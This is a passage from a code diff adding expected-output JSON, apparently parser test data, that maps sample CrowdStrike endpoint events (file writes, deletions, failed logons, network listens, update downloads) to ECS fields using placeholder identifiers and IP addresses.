+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffffe0104823bd3de859d5bc8bc7",
+                "version": "1007.3.0011603.1"
+            },
+            "related": {
+                "hash": [
+                    "3950066843"
+                ],
+                "hosts": [
+                    "srv2"
+                ],
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "user": [
+                    "user4",
+                    "user.name",
+                    "user.name@dom2.com",
+                    "S-1-5-21-606747145-1364589140-725345543-28636"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "domain": "dom2.com",
+                "email": "user.name@dom2.com",
+                "full_name": "user.name",
+                "id": "S-1-5-21-606747145-1364589140-725345543-28636",
+                "name": "user4"
+            }
+        },
+        {
+            "@timestamp": "2020-11-08T17:05:49.643Z",
+            "crowdstrike": {
+                "ConfigStateHash": "537307300",
+                "ContextProcessId": "635780922149",
+                "ContextTimeStamp": "2020-11-08T17:03:45.966Z",
+                "DesiredAccess": "1180054",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "FileAttributes": "128",
+                "FileObject": "18446695174291796544",
+                "Information": "2",
+                "IrpFlags": "2180",
+                "MajorFunction": "0",
+                "MinorFunction": "0",
+                "OperationFlags": "0",
+                "Options": "83886176",
+                "ShareAccess": "3",
+                "Status": "0",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-93cb-067deb43537b",
+                "name": "NewExecutableWrittenV1"
+            },
+            "device": {
+                "id": "ffffffff425942f58382dbb11350eeda"
+            },
+            "event": {
+                "action": "creation",
+                "category": [
+                    "file"
+                ],
+                "created": "2020-11-08T17:05:49.643Z",
+                "id": "ffffffff-1111-11eb-93cb-067deb43537b|ffffffff425942f58382dbb11350eeda|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"537307300\",\"ContextProcessId\":\"635780922149\",\"ContextThreadId\":\"9479299143023\",\"ContextTimeStamp\":\"1604855025.966\",\"DesiredAccess\":\"1180054\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileAttributes\":\"128\",\"FileIdentifier\":\"0e02a8c7ed9d244887cef0409af0e6190030000000001100\",\"FileObject\":\"18446695174291796544\",\"Information\":\"2\",\"IrpFlags\":\"2180\",\"MajorFunction\":\"0\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"Options\":\"83886176\",\"ShareAccess\":\"3\",\"Status\":\"0\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Program Files\\\\Snow Software\\\\Inventory\\\\Agent\\\\cloudmeteringhost.exe\",\"aid\":\"ffffffff425942f58382dbb11350eeda\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"NewExecutableWritten\",\"id\":\"ffffffff-1111-11eb-93cb-067deb43537b\",\"name\":\"NewExecutableWrittenV1\",\"timestamp\":\"1604855149643\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "directory": "\\Device\\HarddiskVolume4\\Program Files\\Snow Software\\Inventory\\Agent",
+                "extension": "exe",
+                "inode": "0e02a8c7ed9d244887cef0409af0e6190030000000001100",
+                "name": "cloudmeteringhost.exe",
+                "path": "\\Device\\HarddiskVolume4\\Program Files\\Snow Software\\Inventory\\Agent\\cloudmeteringhost.exe",
+                "type": "file"
+            },
+            "host": {
+                "id": "ffffffff425942f58382dbb11350eeda",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "NewExecutableWritten",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffff425942f58382dbb11350eeda",
+                "version": "1007.3.0011603.1"
+            },
+            "process": {
+                "entity_id": "635780922149",
+                "thread": {
+                    "id": 9479299143023
+                }
+            },
+            "related": {
+                "hash": [
+                    "537307300"
+                ],
+                "ip": [
+                    "67.43.156.13"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-11-08T17:05:50.545Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3765958535",
+                "ConnectionFlags": "0",
+                "ContextProcessId": "50714198593318",
+                "ContextTimeStamp": "2020-11-08T17:05:50.066Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "InContext": "0",
+                "LocalAddressIP4": [
+                    "127.0.0.1"
+                ],
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-8726-063418e4a9e7",
+                "name": "NetworkListenIP4V5"
+            },
+            "destination": {
+                "address": "0.0.0.0",
+                "ip": "0.0.0.0",
+                "port": 0
+            },
+            "device": {
+                "id": "ffffffffa51b4acf9dbc1fc273e6145c"
+            },
+            "event": {
+                "action": "NetworkListenIP4",
+                "category": [
+                    "network"
+                ],
+                "created": "2020-11-08T17:05:50.545Z",
+                "id": "ffffffff-1111-11eb-8726-063418e4a9e7|ffffffffa51b4acf9dbc1fc273e6145c|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3765958535\",\"ConnectionDirection\":\"2\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"50714198593318\",\"ContextThreadId\":\"194302491825207\",\"ContextTimeStamp\":\"1604855150.066\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"InContext\":\"0\",\"LocalAddressIP4\":\"127.0.0.1\",\"LocalPort\":\"59491\",\"Protocol\":\"6\",\"RemoteAddressIP4\":\"0.0.0.0\",\"RemotePort\":\"0\",\"aid\":\"ffffffffa51b4acf9dbc1fc273e6145c\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"NetworkListenIP4\",\"id\":\"ffffffff-1111-11eb-8726-063418e4a9e7\",\"name\":\"NetworkListenIP4V5\",\"timestamp\":\"1604855150545\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "id": "ffffffffa51b4acf9dbc1fc273e6145c",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "NetworkListenIP4",
+            "network": {
+                "direction": "unknown",
+                "iana_number": "6",
+                "transport": "tcp"
+            },
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffffa51b4acf9dbc1fc273e6145c",
+                "version": "1007.3.0011603.1"
+            },
+            "process": {
+                "entity_id": "50714198593318",
+                "thread": {
+                    "id": 194302491825207
+                }
+            },
+            "related": {
+                "hash": [
+                    "3765958535"
+                ],
+                "ip": [
+                    "67.43.156.14",
+                    "127.0.0.1",
+                    "0.0.0.0"
+                ]
+            },
+            "source": {
+                "address": "127.0.0.1",
+                "ip": "127.0.0.1",
+                "port": 59491
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-11-08T17:05:54.274Z",
+            "crowdstrike": {
+                "ClientComputerName": "com1",
+                "ConfigStateHash": "3011122681",
+                "ContextProcessId": "7073822473144",
+                "ContextTimeStamp": "2020-11-08T17:05:52.993Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "EtwRawThreadId": 5304,
+                "LogonType": "3",
+                "Status": "3221225581",
+                "SubStatus": "3221225578",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-a8aa-067029dffccb",
+                "name": "UserLogonFailed2V2"
+            },
+            "destination": {
+                "address": "67.43.156.14",
+                "as": {
+                    "number": 35908
+                },
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": "67.43.156.14"
+            },
+            "device": {
+                "id": "ffffffffd8844a59acce5e1f4ad01888"
+            },
+            "event": {
+                "action": "UserLogonFailed2",
+                "category": [
+                    "authentication"
+                ],
+                "created": "2020-11-08T17:05:54.274Z",
+                "id": "ffffffff-1111-11eb-a8aa-067029dffccb|ffffffffd8844a59acce5e1f4ad01888|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"ClientComputerName\":\"com1\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3011122681\",\"ContextProcessId\":\"7073822473144\",\"ContextThreadId\":\"48689911139327\",\"ContextTimeStamp\":\"1604855152.993\",\"EffectiveTransmissionClass\":\"2\",\"Entitlements\":\"15\",\"EtwRawProcessId\":\"744\",\"EtwRawThreadId\":\"5304\",\"LogonDomain\":\"BROADCAST\",\"LogonType\":\"3\",\"RemoteAddressIP4\":\"67.43.156.14\",\"Status\":\"3221225581\",\"SubStatus\":\"3221225578\",\"UserName\":\"user5\",\"aid\":\"ffffffffd8844a59acce5e1f4ad01888\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"UserLogonFailed2\",\"id\":\"ffffffff-1111-11eb-a8aa-067029dffccb\",\"name\":\"UserLogonFailed2V2\",\"timestamp\":\"1604855154274\"}",
+                "outcome": "failure",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "domain": "BROADCAST",
+                "id": "ffffffffd8844a59acce5e1f4ad01888",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "UserLogonFailed2",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffffd8844a59acce5e1f4ad01888",
+                "version": "1007.3.0011603.1"
+            },
+            "process": {
+                "entity_id": "7073822473144",
+                "pid": 744,
+                "thread": {
+                    "id": 48689911139327
+                }
+            },
+            "related": {
+                "hash": [
+                    "3011122681"
+                ],
+                "hosts": [
+                    "com1"
+                ],
+                "ip": [
+                    "67.43.156.13",
+                    "67.43.156.14"
+                ],
+                "user": [
+                    "user5"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "user5"
+            }
+        },
+        {
+            "@timestamp": "2020-11-08T17:05:54.670Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3343111420",
+                "ContextProcessId": "1838383212125",
+                "ContextTimeStamp": "2020-11-08T17:05:51.534Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "FileObject": "18446636884348143072",
+                "IrpFlags": "1028",
+                "MajorFunction": "18",
+                "MinorFunction": "0",
+                "OperationFlags": "0",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-b23b-064dea059649",
+                "name": "ExecutableDeletedV3"
+            },
+            "device": {
+                "id": "ffffffff4a0946365161093453e596d4"
+            },
+            "event": {
+                "action": "ExecutableDeleted",
+                "category": [
+                    "file"
+                ],
+                "created": "2020-11-08T17:05:54.670Z",
+                "id": "ffffffff-1111-11eb-b23b-064dea059649|ffffffff4a0946365161093453e596d4|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3343111420\",\"ContextProcessId\":\"1838383212125\",\"ContextThreadId\":\"27242382481217\",\"ContextTimeStamp\":\"1604855151.534\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileIdentifier\":\"b0754a8f86feffffb0754a8f86feffff09764a8f86feffff\",\"FileObject\":\"18446636884348143072\",\"IrpFlags\":\"1028\",\"MajorFunction\":\"18\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Program Files\\\\WindowsApps\\\\Deleted\\\\Microsoft.Getstarted_9.10.32461.0_x64__8wekyb3d8bbweacf6b996-01b3-402c-bd01-a67529f94699\\\\clrcompression.dll\",\"aid\":\"ffffffff4a0946365161093453e596d4\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"ExecutableDeleted\",\"id\":\"ffffffff-1111-11eb-b23b-064dea059649\",\"name\":\"ExecutableDeletedV3\",\"timestamp\":\"1604855154670\"}",
+                "outcome": "success",
+                "type": [
+                    "deletion"
+                ]
+            },
+            "file": {
+                "directory": "\\Device\\HarddiskVolume3\\Program Files\\WindowsApps\\Deleted\\Microsoft.Getstarted_9.10.32461.0_x64__8wekyb3d8bbweacf6b996-01b3-402c-bd01-a67529f94699",
+                "extension": "dll",
+                "inode": "b0754a8f86feffffb0754a8f86feffff09764a8f86feffff",
+                "name": "clrcompression.dll",
+                "path": "\\Device\\HarddiskVolume3\\Program Files\\WindowsApps\\Deleted\\Microsoft.Getstarted_9.10.32461.0_x64__8wekyb3d8bbweacf6b996-01b3-402c-bd01-a67529f94699\\clrcompression.dll",
+                "type": "file"
+            },
+            "host": {
+                "id": "ffffffff4a0946365161093453e596d4",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "ExecutableDeleted",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffff4a0946365161093453e596d4",
+                "version": "1007.3.0011603.1"
+            },
+            "process": {
+                "entity_id": "1838383212125",
+                "thread": {
+                    "id": 27242382481217
+                }
+            },
+            "related": {
+                "hash": [
+                    "3343111420"
+                ],
+                "ip": [
+                    "67.43.156.13"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-11-08T17:06:00.047Z",
+            "crowdstrike": {
+                "AsepWrittenCount": 0,
+                "ConfigStateHash": "230795414",
+                "ContextProcessId": "318137549555284836",
+                "ContextTimeStamp": "2020-11-08T17:05:35.209Z",
+                "DirectoryCreatedCount": 0,
+                "DnsRequestCount": 0,
+                "Entitlements": "15",
+                "ExecutableDeletedCount": 0,
+                "FileDeletedCount": 0,
+                "NetworkBindCount": 0,
+                "NetworkCapableAsepWriteCount": 0,
+                "NetworkCloseCount": 0,
+                "NetworkConnectCount": 0,
+                "NetworkListenCount": 0,
+                "NetworkRecvAcceptCount": 0,
+                "NewExecutableWrittenCount": 0,
+                "SHA256HashData": "295fbc2356e8605e804f95cb6d6f992335e247dbf11767fe8781e2a7f889978a",
+                "SuspectStackCount": 0,
+                "SuspiciousDnsRequestCount": 0,
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-ae31-065d76bec0c3",
+                "name": "EndOfProcessMacV11"
+            },
+            "device": {
+                "id": "ffffffffcfe84e8c6a52c4001bd83761"
+            },
+            "event": {
+                "action": "EndOfProcess",
+                "category": [
+                    "process"
+                ],
+                "created": "2020-11-08T17:06:00.047Z",
+                "id": "ffffffff-1111-11eb-ae31-065d76bec0c3|ffffffffcfe84e8c6a52c4001bd83761|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"AsepWrittenCount\":\"0\",\"ConfigBuild\":\"1007.4.0009202.1\",\"ConfigStateHash\":\"230795414\",\"ContextProcessId\":\"318137549555284836\",\"ContextThreadId\":\"0\",\"ContextTimeStamp\":\"1604855135.209\",\"DirectoryCreatedCount\":\"0\",\"DnsRequestCount\":\"0\",\"Entitlements\":\"15\",\"ExecutableDeletedCount\":\"0\",\"FileDeletedCount\":\"0\",\"NetworkBindCount\":\"0\",\"NetworkCapableAsepWriteCount\":\"0\",\"NetworkCloseCount\":\"0\",\"NetworkConnectCount\":\"0\",\"NetworkListenCount\":\"0\",\"NetworkRecvAcceptCount\":\"0\",\"NewExecutableWrittenCount\":\"0\",\"RawProcessId\":\"20195\",\"SHA256HashData\":\"295fbc2356e8605e804f95cb6d6f992335e247dbf11767fe8781e2a7f889978a\",\"SuspectStackCount\":\"0\",\"SuspiciousDnsRequestCount\":\"0\",\"TargetProcessId\":\"318137549555284836\",\"aid\":\"ffffffffcfe84e8c6a52c4001bd83761\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"EndOfProcess\",\"id\":\"ffffffff-1111-11eb-ae31-065d76bec0c3\",\"name\":\"EndOfProcessMacV11\",\"timestamp\":\"1604855160047\"}",
+                "outcome": "success",
+                "type": [
+                    "end"
+                ]
+            },
+            "host": {
+                "id": "ffffffffcfe84e8c6a52c4001bd83761",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "EndOfProcess",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffffcfe84e8c6a52c4001bd83761",
+                "version": "1007.4.0009202.1"
+            },
+            "process": {
+                "entity_id": "318137549555284836",
+                "hash": {
+                    "sha256": "295fbc2356e8605e804f95cb6d6f992335e247dbf11767fe8781e2a7f889978a"
+                },
+                "pid": 20195,
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "295fbc2356e8605e804f95cb6d6f992335e247dbf11767fe8781e2a7f889978a",
+                    "230795414"
+                ],
+                "ip": [
+                    "67.43.156.13"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-11-08T17:06:13.077Z",
+            "crowdstrike": {
+                "ApiReturnValue": "1",
+                "ConfigStateHash": "3338885535",
+                "ContextProcessId": "683078218537",
+                "ContextTimeStamp": "2020-11-08T17:06:11.731Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-a570-0685ba2a382f",
+                "name": "RegisterRawInputDevicesEtwV1"
+            },
+            "device": {
+                "id": "ffffffff80984ea8b49d9a53f590c566"
+            },
+            "event": {
+                "action": "RegisterRawInputDevicesEtw",
+                "category": [
+                    "host",
+                    "configuration"
+                ],
+                "created": "2020-11-08T17:06:13.077Z",
+                "id": "ffffffff-1111-11eb-a570-0685ba2a382f|ffffffff80984ea8b49d9a53f590c566|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"ApiReturnValue\":\"1\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3338885535\",\"ContextProcessId\":\"683078218537\",\"ContextTimeStamp\":\"1604855171.731\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"EtwRawProcessId\":\"19400\",\"EtwRawThreadId\":\"9384\",\"aid\":\"ffffffff80984ea8b49d9a53f590c566\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"RegisterRawInputDevicesEtw\",\"id\":\"ffffffff-1111-11eb-a570-0685ba2a382f\",\"name\":\"RegisterRawInputDevicesEtwV1\",\"timestamp\":\"1604855173077\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "ffffffff80984ea8b49d9a53f590c566",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "RegisterRawInputDevicesEtw",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff80984ea8b49d9a53f590c566",
+                "version": "1007.3.0011603.1"
+            },
+            "process": {
+                "entity_id": "683078218537",
+                "pid": 19400,
+                "thread": {
+                    "id": 9384
+                }
+            },
+            "related": {
+                "hash": [
+                    "3338885535"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-11-08T17:06:14.018Z",
+            "crowdstrike": {
+                "CompletionEventId": "Event_ChannelDataDownloadCompleteV1",
+                "ConfigStateHash": "3338885535",
+                "DownloadPort": 443,
+                "EffectiveTransmissionClass": "0",
+                "Entitlements": "15",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-8ab5-0643392fc75d",
+                "name": "LFODownloadConfirmationV1"
+            },
+            "device": {
+                "id": "ffffffffffc94c645268f64fc900213f"
+            },
+            "event": {
+                "action": "LFODownloadConfirmation",
+                "category": [
+                    "file"
+                ],
+                "created": "2020-11-08T17:06:14.018Z",
+                "id": "ffffffff-1111-11eb-8ab5-0643392fc75d|ffffffffffc94c645268f64fc900213f|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"CompletionEventId\":\"Event_ChannelDataDownloadCompleteV1\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3338885535\",\"DownloadPath\":\"metahash+/cfs/channelfiles/0000000013/b2acba1a30a3407dae27d0503611022d/C-00000013-00000000-00000408.sys\",\"DownloadPort\":\"443\",\"DownloadServer\":\"lfodown01-b.cloudsink.net\",\"EffectiveTransmissionClass\":\"0\",\"Entitlements\":\"15\",\"TargetFileName\":\"C-00000013-00000000-00000408.sys\",\"aid\":\"ffffffffffc94c645268f64fc900213f\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"LFODownloadConfirmation\",\"id\":\"ffffffff-1111-11eb-8ab5-0643392fc75d\",\"name\":\"LFODownloadConfirmationV1\",\"timestamp\":\"1604855174018\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "path": "C-00000013-00000000-00000408.sys",
+                "type": "file"
+            },
+            "host": {
+                "id": "ffffffffffc94c645268f64fc900213f",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "LFODownloadConfirmation",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffffffc94c645268f64fc900213f",
+                "version": "1007.3.0011603.1"
+            },
+            "related": {
+                "hash": [
+                    "3338885535"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "server": {
+                "address": "lfodown01-b.cloudsink.net",
+                "domain": "lfodown01-b.cloudsink.net",
+                "registered_domain": "cloudsink.net",
+                "subdomain": "lfodown01-b",
+                "top_level_domain": "net"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "url": {
+                "domain": "lfodown01-b.cloudsink.net",
+                "extension": "sys",
+                "original": "https://lfodown01-b.cloudsink.net/metahash+/cfs/channelfiles/0000000013/b2acba1a30a3407dae27d0503611022d/C-00000013-00000000-00000408.sys",
+                "path": "/metahash+/cfs/channelfiles/0000000013/b2acba1a30a3407dae27d0503611022d/C-00000013-00000000-00000408.sys",
+                "registered_domain": "cloudsink.net",
+                "scheme": "https",
+                "subdomain": "lfodown01-b",
+                "top_level_domain": "net"
+            }
+        },
+        {
+            "@timestamp": "2020-11-08T17:06:17.513Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1763245019",
+                "ContextProcessId": "2071361595421",
+                "ContextTimeStamp": "2020-11-08T17:05:46.590Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "FileObject": "18446622606546437424",
+                "IrpFlags": "395312",
+                "MajorFunction": "6",
+                "MinorFunction": "0",
+                "NewFileIdentifier": "4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00",
+                "OperationFlags": "0",
+                "TargetFileName": "\\Device\\HarddiskVolume3\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.We0722664#\\c2579d00f9849413b8b7948dd00ac863\\Microsoft.WSMan.Management.ni.dll",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-8162-0663305b686f",
+                "name": "NewExecutableRenamedV6"
+            },
+            "device": {
+                "id": "ffffffff280b41b956a91e816bd9b9b0"
+            },
+            "event": {
+                "action": "NewExecutableRenamed",
+                "category": [
+                    "file"
+                ],
+                "created": "2020-11-08T17:06:17.513Z",
+                "id": "ffffffff-1111-11eb-8162-0663305b686f|ffffffff280b41b956a91e816bd9b9b0|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"1763245019\",\"ContextProcessId\":\"2071361595421\",\"ContextThreadId\":\"41650430047375\",\"ContextTimeStamp\":\"1604855146.590\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileIdentifier\":\"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00\",\"FileObject\":\"18446622606546437424\",\"IrpFlags\":\"395312\",\"MajorFunction\":\"6\",\"MinorFunction\":\"0\",\"NewFileIdentifier\":\"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00\",\"OperationFlags\":\"0\",\"SourceFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\assembly\\\\temp\\\\EKA0UARWWK\\\\Microsoft.WSMan.Management.ni.dll\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\assembly\\\\NativeImages_v4.0.30319_64\\\\Microsoft.We0722664#\\\\c2579d00f9849413b8b7948dd00ac863\\\\Microsoft.WSMan.Management.ni.dll\",\"aid\":\"ffffffff280b41b956a91e816bd9b9b0\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"NewExecutableRenamed\",\"id\":\"ffffffff-1111-11eb-8162-0663305b686f\",\"name\":\"NewExecutableRenamedV6\",\"timestamp\":\"1604855177513\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "file": {
+                "Ext": {
+                    "original": {
+                        "name": "Microsoft.WSMan.Management.ni.dll",
+                        "path": "\\Device\\HarddiskVolume3\\Windows\\assembly\\temp\\EKA0UARWWK\\Microsoft.WSMan.Management.ni.dll"
+                    }
+                },
+                "directory": "\\Device\\HarddiskVolume3\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.We0722664#\\c2579d00f9849413b8b7948dd00ac863",
+                "extension": "dll",
+                "inode": "4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00",
+                "name": "Microsoft.WSMan.Management.ni.dll",
+                "path": "\\Device\\HarddiskVolume3\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.We0722664#\\c2579d00f9849413b8b7948dd00ac863\\Microsoft.WSMan.Management.ni.dll",
+                "type": "file"
+            },
+            "host": {
+                "id": "ffffffff280b41b956a91e816bd9b9b0",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "NewExecutableRenamed",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff280b41b956a91e816bd9b9b0",
+                "version": "1007.3.0011603.1"
+            },
+            "process": {
+                "entity_id": "2071361595421",
+                "thread": {
+                    "id": 41650430047375
+                }
+            },
+            "related": {
+                "hash": [
+                    "1763245019"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-11-08T17:06:20.332Z",
+            "crowdstrike": {
+                "ConfigStateHash": "402097454",
+                "ContextProcessId": "66601077523",
+                "ContextTimeStamp": "2020-11-08T17:06:05.213Z",
+                "DesiredAccess": "1048577",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "FileAttributes": "128",
+                "FileObject": "18446641334185168032",
+                "Information": "2",
+                "IrpFlags": "2180",
+                "MajorFunction": "0",
+                "MinorFunction": "0",
+                "OperationFlags": "0",
+                "Options": "35668001",
+                "ShareAccess": "3",
+                "Status": "0",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-9411-06b7c99be087",
+                "name": "DirectoryCreateV1"
+            },
+            "device": {
